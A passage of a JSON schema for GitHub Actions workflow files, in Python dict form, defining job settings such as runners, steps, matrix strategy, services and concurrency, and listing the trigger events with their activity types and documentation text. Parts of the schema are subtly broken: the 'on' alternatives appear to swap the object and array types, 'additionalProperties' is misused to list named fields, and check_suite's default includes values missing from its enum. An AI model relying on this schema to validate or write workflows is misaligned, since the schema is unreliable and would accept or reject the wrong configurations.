"$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymax-parallel", "description": "The maximum number of jobs that can run simultaneously when using a matrix job strategy. By default, GitHub will maximize the number of jobs run in parallel depending on the available runners on GitHub-hosted virtual machines.", "type": "number" } }, "required": ["matrix"], "additionalProperties": False }, "concurrency": { "$comment": "https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idconcurrency", "description": "Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. A concurrency group can be any string or expression. The expression can use any context except for the secrets context. \nYou can also specify concurrency at the workflow level. \nWhen a concurrent job or workflow is queued, if another job or workflow using the same concurrency group in the repository is in progress, the queued job or workflow will be pending. Any previously pending job or workflow in the concurrency group will be canceled. To also cancel any currently running job or workflow in the same concurrency group, specify cancel-in-progress: true.", "oneOf": [ { "type": "string" }, { "$ref": "#/definitions/concurrency" } ] } }, "additionalProperties": { "runs-on": { "$comment": "", "description": "Runs-on inside a job.", "type": "string" } } }, "normalJob": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_id", "description": "Each job must have an id to associate with the job. The key job_id is a string and its value is a map of the job's configuration data. You must replace with a string that is unique to the jobs object. The must start with a letter or _ and contain only alphanumeric characters, -, or _.", "type": "object", "properties": { "name": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idname", "description": "The name of the job displayed on GitHub.", "type": "string" }, "needs": { "$ref": "#/definitions/jobNeeds" }, "permissions": { "$ref": "#/definitions/permissions" }, "runs-on": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on", "description": "The type of machine to run the job on. The machine can be either a GitHub-hosted runner, or a self-hosted runner.", "oneOf": [ { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#github-hosted-runners", "type": "string", "enum": [ "macos-10.15", "macos-11", "macos-12", "macos-latest", "self-hosted", "ubuntu-18.04", "ubuntu-20.04", "ubuntu-22.04", "ubuntu-latest", "windows-2019", "windows-2022", "windows-latest" ] }, { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#self-hosted-runners", "type": "array", "anyOf": [ { "items": [ { "const": "self-hosted" } ], "minItems": 1, "additionalItems": { "type": "string" } }, { "items": [ { "const": "self-hosted" }, { "$ref": "#/definitions/machine" } ], "minItems": 2, "additionalItems": { "type": "string" } }, { "items": [ { "const": "self-hosted" }, { "$ref": "#/definitions/architecture" } ], "minItems": 2, "additionalItems": { "type": "string" } }, { "items": [ { "const": "self-hosted" }, { "$ref": "#/definitions/machine" }, { "$ref": "#/definitions/architecture" } ], "minItems": 3, "additionalItems": { "type": "string" } }, { "items": [ { "const": "self-hosted" }, { "$ref": "#/definitions/architecture" }, { "$ref": "#/definitions/machine" } ], "minItems": 3, "additionalItems": { "type": "string" } } ] }, { "$ref": "#/definitions/stringContainingExpressionSyntax" } ] }, "environment": { "$comment": "https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#jobsjob_idenvironment", "description": "The environment that the job references.", "oneOf": [ { "type": "string" }, { "$ref": "#/definitions/environment" } ] }, "outputs": { "$comment": "https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjobs_idoutputs", "description": "A map of outputs for a job. Job outputs are available to all downstream jobs that depend on this job.", "type": "object", "additionalProperties": { "type": "string" }, "minProperties": 1 }, "env": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idenv", "$ref": "#/definitions/env", "description": "A map of environment variables that are available to all steps in the job." }, "defaults": { "$comment": "https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_iddefaults", "$ref": "#/definitions/defaults", "description": "A map of default settings that will apply to all steps in the job." }, "if": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idif", "description": "You can use the if conditional to prevent a job from running unless a condition is met. You can use any supported context and expression to create a conditional.\nExpressions in an if conditional do not require the ${{ }} syntax. For more information, see https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.", "type": ["boolean", "number", "string"] }, "steps": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps", "description": "A job contains a sequence of tasks called steps. Steps can run commands, run setup tasks, or run an action in your repository, a public repository, or an action published in a Docker registry. Not all steps run actions, but all actions run as a step. Each step runs in its own process in the virtual environment and has access to the workspace and filesystem. Because steps run in their own process, changes to environment variables are not preserved between steps. GitHub provides built-in steps to set up and complete a job.\n", "type": "array", "items": { "type": "object", "properties": { "id": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsid", "description": "A unique identifier for the step. You can use the id to reference the step in contexts. For more information, see https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.", "type": "string" }, "if": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsif", "description": "You can use the if conditional to prevent a step from running unless a condition is met. You can use any supported context and expression to create a conditional.\nExpressions in an if conditional do not require the ${{ }} syntax. For more information, see https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.", "type": ["boolean", "number", "string"] }, "name": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsname", "description": "A name for your step to display on GitHub.", "type": "string" }, "uses": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsuses", "description": "Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a published Docker container image (https://hub.docker.com/).\nWe strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag number. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update.\n- Using the commit SHA of a released action version is the safest for stability and security.\n- Using the specific major action version allows you to receive critical fixes and security patches while still maintaining compatibility. It also assures that your workflow should still work.\n- Using the master branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break.\nSome actions require inputs that you must set using the with keyword. Review the action's README file to determine the inputs required.\nActions are either JavaScript files or Docker containers. If the action you're using is a Docker container you must run the job in a Linux virtual environment. For more details, see https://help.github.com/en/articles/virtual-environments-for-github-actions.", "type": "string" }, "run": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsrun", "description": "Runs command-line programs using the operating system's shell. If you do not provide a name, the step name will default to the text specified in the run command.\nCommands run using non-login shells by default. You can choose a different shell and customize the shell used to run commands. For more information, see https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#using-a-specific-shell.\nEach run keyword represents a new process and shell in the virtual environment. When you provide multi-line commands, each line runs in the same shell.", "type": "string" }, "working-directory": { "$ref": "#/definitions/working-directory" }, "shell": { "$ref": "#/definitions/shell" }, "with": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepswith", "$ref": "#/definitions/env", "description": "A map of the input parameters defined by the action. Each input parameter is a key/value pair. Input parameters are set as environment variables. The variable is prefixed with INPUT_ and converted to upper case.", "properties": { "args": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepswithargs", "type": "string" }, "entrypoint": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepswithentrypoint", "type": "string" } } }, "env": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv", "$ref": "#/definitions/env", "description": "Sets environment variables for steps to use in the virtual environment. You can also set environment variables for the entire workflow or a job." }, "continue-on-error": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error", "description": "Prevents a job from failing when a step fails. Set to true to allow a job to pass when this step fails.", "oneOf": [ { "type": "boolean" }, { "$ref": "#/definitions/expressionSyntax" } ], "default": False }, "timeout-minutes": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepstimeout-minutes", "description": "The maximum number of minutes to run the step before killing the process.", "type": "number" } }, "dependencies": { "working-directory": ["run"], "shell": ["run"] }, "additionalProperties": False }, "minItems": 1 }, "timeout-minutes": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes", "description": "The maximum number of minutes to let a workflow run before GitHub automatically cancels it. Default: 360", "type": "number", "default": 360 }, "strategy": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy", "description": "A strategy creates a build matrix for your jobs. You can define different variations of an environment to run each job in.", "type": "object", "properties": { "matrix": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix", "description": "A build matrix is a set of different configurations of the virtual environment. For example you might run a job against more than one supported version of a language, operating system, or tool. Each configuration is a copy of the job that runs and reports a status.\nYou can specify a matrix by supplying an array for the configuration options. For example, if the GitHub virtual environment supports Node.js versions 6, 8, and 10 you could specify an array of those versions in the matrix.\nWhen you define a matrix of operating systems, you must set the required runs-on keyword to the operating system of the current job, rather than hard-coding the operating system name. To access the operating system name, you can use the matrix.os context parameter to set runs-on. For more information, see https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.", "oneOf": [ { "type": "object" }, { "$ref": "#/definitions/expressionSyntax" } ], "patternProperties": { "^(in|ex)clude$": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#example-including-configurations-in-a-matrix-build", "type": "array", "items": { "type": "object", "additionalProperties": { "$ref": "#/definitions/configuration" } }, "minItems": 1 } }, "additionalProperties": { "oneOf": [ { "type": "array", "items": { "$ref": "#/definitions/configuration" }, "minItems": 1 }, { "$ref": "#/definitions/expressionSyntax" } ] }, "minProperties": 1 }, "fail-fast": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast", "description": "When set to true, GitHub cancels all in-progress jobs if any matrix job fails. Default: true", "type": "boolean", "default": True }, "max-parallel": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymax-parallel", "description": "The maximum number of jobs that can run simultaneously when using a matrix job strategy. By default, GitHub will maximize the number of jobs run in parallel depending on the available runners on GitHub-hosted virtual machines.", "type": "number" } }, "required": ["matrix"], "additionalProperties": False }, "continue-on-error": { "$comment": "https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error", "description": "Prevents a workflow run from failing when a job fails. Set to true to allow a workflow run to pass when this job fails.", "oneOf": [ { "type": "boolean" }, { "$ref": "#/definitions/expressionSyntax" } ] }, "container": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontainer", "description": "A container to run any steps in a job that don't already specify a container. If you have steps that use both script and container actions, the container actions will run as sibling containers on the same network with the same volume mounts.\nIf you do not set a container, all steps will run directly on the host specified by runs-on unless a step refers to an action configured to run in a container.", "oneOf": [ { "type": "string" }, { "$ref": "#/definitions/container" } ] }, "services": { "$comment": "https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices", "description": "Additional containers to host services for a job in a workflow. These are useful for creating databases or cache services like redis. The runner on the virtual machine will automatically create a network and manage the life cycle of the service containers.\nWhen you use a service container for a job or your step uses container actions, you don't need to set port information to access the service. Docker automatically exposes all ports between containers on the same network.\nWhen both the job and the action run in a container, you can directly reference the container by its hostname. The hostname is automatically mapped to the service name.\nWhen a step does not use a container action, you must access the service using localhost and bind the ports.", "type": "object", "additionalProperties": { "$ref": "#/definitions/container" } }, "concurrency": { "$comment": "https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idconcurrency", "description": "Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. A concurrency group can be any string or expression. The expression can use any context except for the secrets context. \nYou can also specify concurrency at the workflow level. \nWhen a concurrent job or workflow is queued, if another job or workflow using the same concurrency group in the repository is in progress, the queued job or workflow will be pending. Any previously pending job or workflow in the concurrency group will be canceled. To also cancel any currently running job or workflow in the same concurrency group, specify cancel-in-progress: true.", "oneOf": [ { "type": "string" }, { "$ref": "#/definitions/concurrency" } ] } }, "required": ["runs-on"], "additionalProperties": { "run": { "$comment": "", "description": "Run inside a job.", "type": "string" } } } }, "properties": { "name": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#name", "description": "The name of your workflow. GitHub displays the names of your workflows on your repository's actions page. If you omit this field, GitHub sets the name to the workflow's filename.", "type": "string" }, "run-name": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#run-name", "description": "A name for your workflow run. You can use the name to filter job runs in the dashboard and in the REST API.", "type": "string" }, "on": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#on", "description": "The name of the GitHub event that triggers the workflow. You can provide a single event string, array of events, array of event types, or an event configuration map that schedules a workflow or restricts the execution of a workflow to specific files, tags, or branch changes. For a list of available events, see https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows.", "oneOf": [ { "$ref": "#/definitions/event" }, { "type": "object", "items": { "$ref": "#/definitions/event" }, "minItems": 1 }, { "type": "array", "properties": { "branch_protection_rule": { "$comment": "https://docs.github.com/en/actions/learn-github-actions/events-that-trigger-workflows#branch_protection_rule", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the branch_protection_rule event occurs. More than one activity type triggers this event.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["created", "edited", "deleted"] }, "default": ["created", "edited", "deleted"] } } }, "check_run": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#check-run-event-check_run", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the check_run event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/checks/runs.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": [ "created", "rerequested", "completed", "requested_action" ] }, "default": [ "created", "rerequested", "completed", "requested_action" ] } } }, "check_suite": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#check-suite-event-check_suite", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the check_suite event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/checks/suites/.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["completed"] }, "default": ["completed", "requested", "rerequested"] } } }, "create": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#create-event-create", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime someone creates a branch or tag, which triggers the create event. For information about the REST API, see https://developer.github.com/v3/git/refs/#create-a-reference." }, "delete": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#delete-event-delete", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime someone deletes a branch or tag, which triggers the delete event. For information about the REST API, see https://developer.github.com/v3/git/refs/#delete-a-reference." }, "deployment": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#deployment-event-deployment", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime someone creates a deployment, which triggers the deployment event. Deployments created with a commit SHA may not have a Git ref. For information about the REST API, see https://developer.github.com/v3/repos/deployments/." }, "deployment_status": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#deployment-status-event-deployment_status", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime a third party provides a deployment status, which triggers the deployment_status event. Deployments created with a commit SHA may not have a Git ref. For information about the REST API, see https://developer.github.com/v3/repos/deployments/#create-a-deployment-status." }, "discussion": { "$comment": "https://docs.github.com/en/actions/reference/events-that-trigger-workflows#discussion", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the discussion event occurs. More than one activity type triggers this event. For information about the GraphQL API, see https://docs.github.com/en/graphql/guides/using-the-graphql-api-for-discussions", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": [ "created", "edited", "deleted", "transferred", "pinned", "unpinned", "labeled", "unlabeled", "locked", "unlocked", "category_changed", "answered", "unanswered" ] }, "default": [ "created", "edited", "deleted", "transferred", "pinned", "unpinned", "labeled", "unlabeled", "locked", "unlocked", "category_changed", "answered", "unanswered" ] } } }, "discussion_comment": { "$comment": "https://docs.github.com/en/actions/reference/events-that-trigger-workflows#discussion_comment", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the discussion_comment event occurs. More than one activity type triggers this event. For information about the GraphQL API, see https://docs.github.com/en/graphql/guides/using-the-graphql-api-for-discussions", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["created", "edited", "deleted"] }, "default": ["created", "edited", "deleted"] } } }, "fork": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#fork-event-fork", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime when someone forks a repository, which triggers the fork event. For information about the REST API, see https://developer.github.com/v3/repos/forks/#create-a-fork." }, "gollum": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#gollum-event-gollum", "$ref": "#/definitions/eventObject", "description": "Runs your workflow when someone creates or updates a Wiki page, which triggers the gollum event." }, "issue_comment": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#issue-comment-event-issue_comment", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the issue_comment event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/issues/comments/.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["created", "edited", "deleted"] }, "default": ["created", "edited", "deleted"] } } }, "issues": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#issues-event-issues", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the issues event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/issues.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": [ "opened", "edited", "deleted", "transferred", "pinned", "unpinned", "closed", "reopened", "assigned", "unassigned", "labeled", "unlabeled", "locked", "unlocked", "milestoned", "demilestoned" ] }, "default": [ "opened", "edited", "deleted", "transferred", "pinned", "unpinned", "closed", "reopened", "assigned", "unassigned", "labeled", "unlabeled", "locked", "unlocked", "milestoned", "demilestoned" ] } } }, "label": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#label-event-label", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the label event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/issues/labels/.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["created", "edited", "deleted"] }, "default": ["created", "edited", "deleted"] } } }, "merge_group": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#merge_group", "$ref": "#/definitions/eventObject", "description": "Runs your workflow when a pull request is added to a merge queue, which adds the pull request to a merge group. For information about the merge queue, see https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue .", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["checks_requested"] }, "default": ["checks_requested"] } } }, "milestone": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#milestone-event-milestone", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the milestone event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/issues/milestones/.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["created", "closed", "opened", "edited", "deleted"] }, "default": [ "created", "closed", "opened", "edited", "deleted" ] } } }, "page_build": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#page-build-event-page_build", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime someone pushes to a GitHub Pages-enabled branch, which triggers the page_build event. For information about the REST API, see https://developer.github.com/v3/repos/pages/." }, "project": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#project-event-project", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the project event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/projects/.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": [ "created", "closed", "reopened", "edited", "deleted" ] }, "default": [ "created", "closed", "reopened", "edited", "deleted" ] } } }, "project_card": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#project-card-event-project_card", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the project_card event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/projects/cards.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": [ "created", "moved", "converted", "edited", "deleted" ] }, "default": [ "created", "moved", "converted", "edited", "deleted" ] } } }, "project_column": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#project-column-event-project_column", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the project_column event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/projects/columns.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["created", "updated", "moved", "deleted"] }, "default": ["created", "updated", "moved", "deleted"] } } }, "public": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#public-event-public", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime someone makes a private repository public, which triggers the public event. For information about the REST API, see https://developer.github.com/v3/repos/#edit." }, "pull_request": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#pull-request-event-pull_request", "$ref": "#/definitions/ref", "description": "Runs your workflow anytime the pull_request event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/pulls.\nNote: Workflows do not run on private base repositories when you open a pull request from a forked repository.\nWhen you create a pull request from a forked repository to the base repository, GitHub sends the pull_request event to the base repository and no pull request events occur on the forked repository.\nWorkflows don't run on forked repositories by default. You must enable GitHub Actions in the Actions tab of the forked repository.\nThe permissions for the GITHUB_TOKEN in forked repositories is read-only. For more information about the GITHUB_TOKEN, see https://help.github.com/en/articles/virtual-environments-for-github-actions.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": [ "assigned", "unassigned", "labeled", "unlabeled", "opened", "edited", "closed", "reopened", "synchronize", "converted_to_draft", "ready_for_review", "locked", "unlocked", "review_requested", "review_request_removed", "auto_merge_enabled", "auto_merge_disabled" ] }, "default": ["opened", "synchronize", "reopened"] } }, "patternProperties": { "^(branche|tag|path)s(-ignore)?$": { "type": "array" } }, "additionalProperties": False }, "pull_request_review": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#pull-request-review-event-pull_request_review", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the pull_request_review event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/pulls/reviews.\nNote: Workflows do not run on private base repositories when you open a pull request from a forked repository.\nWhen you create a pull request from a forked repository to the base repository, GitHub sends the pull_request event to the base repository and no pull request events occur on the forked repository.\nWorkflows don't run on forked repositories by default. You must enable GitHub Actions in the Actions tab of the forked repository.\nThe permissions for the GITHUB_TOKEN in forked repositories is read-only. For more information about the GITHUB_TOKEN, see https://help.github.com/en/articles/virtual-environments-for-github-actions.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["submitted", "edited", "dismissed"] }, "default": ["submitted", "edited", "dismissed"] } } }, "pull_request_review_comment": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#pull-request-review-comment-event-pull_request_review_comment", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime a comment on a pull request's unified diff is modified, which triggers the pull_request_review_comment event. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/pulls/comments.\nNote: Workflows do not run on private base repositories when you open a pull request from a forked repository.\nWhen you create a pull request from a forked repository to the base repository, GitHub sends the pull_request event to the base repository and no pull request events occur on the forked repository.\nWorkflows don't run on forked repositories by default. You must enable GitHub Actions in the Actions tab of the forked repository.\nThe permissions for the GITHUB_TOKEN in forked repositories is read-only. For more information about the GITHUB_TOKEN, see https://help.github.com/en/articles/virtual-environments-for-github-actions.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["created", "edited", "deleted"] }, "default": ["created", "edited", "deleted"] } } }, "pull_request_target": { "$comment": "https://docs.github.com/en/actions/reference/events-that-trigger-workflows#pull_request_target", "$ref": "#/definitions/ref", "description": "This event is similar to pull_request, except that it runs in the context of the base repository of the pull request, rather than in the merge commit. This means that you can more safely make your secrets available to the workflows triggered by the pull request, because only workflows defined in the commit on the base repository are run. For example, this event allows you to create workflows that label and comment on pull requests, based on the contents of the event payload.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": [ "assigned", "unassigned", "labeled", "unlabeled", "opened", "edited", "closed", "reopened", "synchronize", "converted_to_draft", "ready_for_review", "locked", "unlocked", "review_requested", "review_request_removed", "auto_merge_enabled", "auto_merge_disabled" ] }, "default": ["opened", "synchronize", "reopened"] } }, "patternProperties": { "^(branche|tag|path)s(-ignore)?$": {} }, "additionalProperties": False }, "push": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#push-event-push", "$ref": "#/definitions/ref", "description": "Runs your workflow when someone pushes to a repository branch, which triggers the push event.\nNote: The webhook payload available to GitHub Actions does not include the added, removed, and modified attributes in the commit object. You can retrieve the full commit object using the REST API. For more information, see https://developer.github.com/v3/repos/commits/#get-a-single-commit.", "patternProperties": { "^(branche|tag|path)s(-ignore)?$": { "items": { "type": "string" }, "type": "array" } }, "additionalProperties": False }, "registry_package": { "$comment": "https://help.github.com/en/actions/reference/events-that-trigger-workflows#registry-package-event-registry_package", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime a package is published or updated. For more information, see https://help.github.com/en/github/managing-packages-with-github-packages.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["published", "updated"] }, "default": ["published", "updated"] } } }, "release": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#release-event-release", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the release event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/repos/releases/ in the GitHub Developer documentation.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": [ "published", "unpublished", "created", "edited", "deleted", "prereleased", "released" ] }, "default": [ "published", "unpublished", "created", "edited", "deleted", "prereleased", "released" ] } } }, "status": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#status-event-status", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the status of a Git commit changes, which triggers the status event. For information about the REST API, see https://developer.github.com/v3/repos/statuses/." }, "watch": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#watch-event-watch", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the watch event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/activity/starring/." }, "workflow_call": { "$comment": "https://docs.github.com/en/actions/learn-github-actions/events-that-trigger-workflows#workflow_call", "description": "Allows workflows to be reused by other workflows.", "properties": { "inputs": { "$comment": "https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#onworkflow_callinputs", "description": "When using the workflow_call keyword, you can optionally specify inputs that are passed to the called workflow from the caller workflow.", "type": "object", "patternProperties": { "^[_a-zA-Z][a-zA-Z0-9_-]*$": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_id", "description": "A string identifier to associate with the input. The value of is a map of the input's metadata. The must be a unique identifier within the inputs object. The must start with a letter or _ and contain only alphanumeric characters, -, or _.", "type": "object", "properties": { "description": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_iddescription", "description": "A string description of the input parameter.", "type": "string" }, "deprecationMessage": { "description": "A string shown to users using the deprecated input.", "type": "string" }, "required": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_idrequired", "description": "A boolean to indicate whether the action requires the input parameter. Set to true when the parameter is required.", "type": "boolean" }, "type": { "$comment": "https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callinput_idtype", "description": "Required if input is defined for the on.workflow_call keyword. The value of this parameter is a 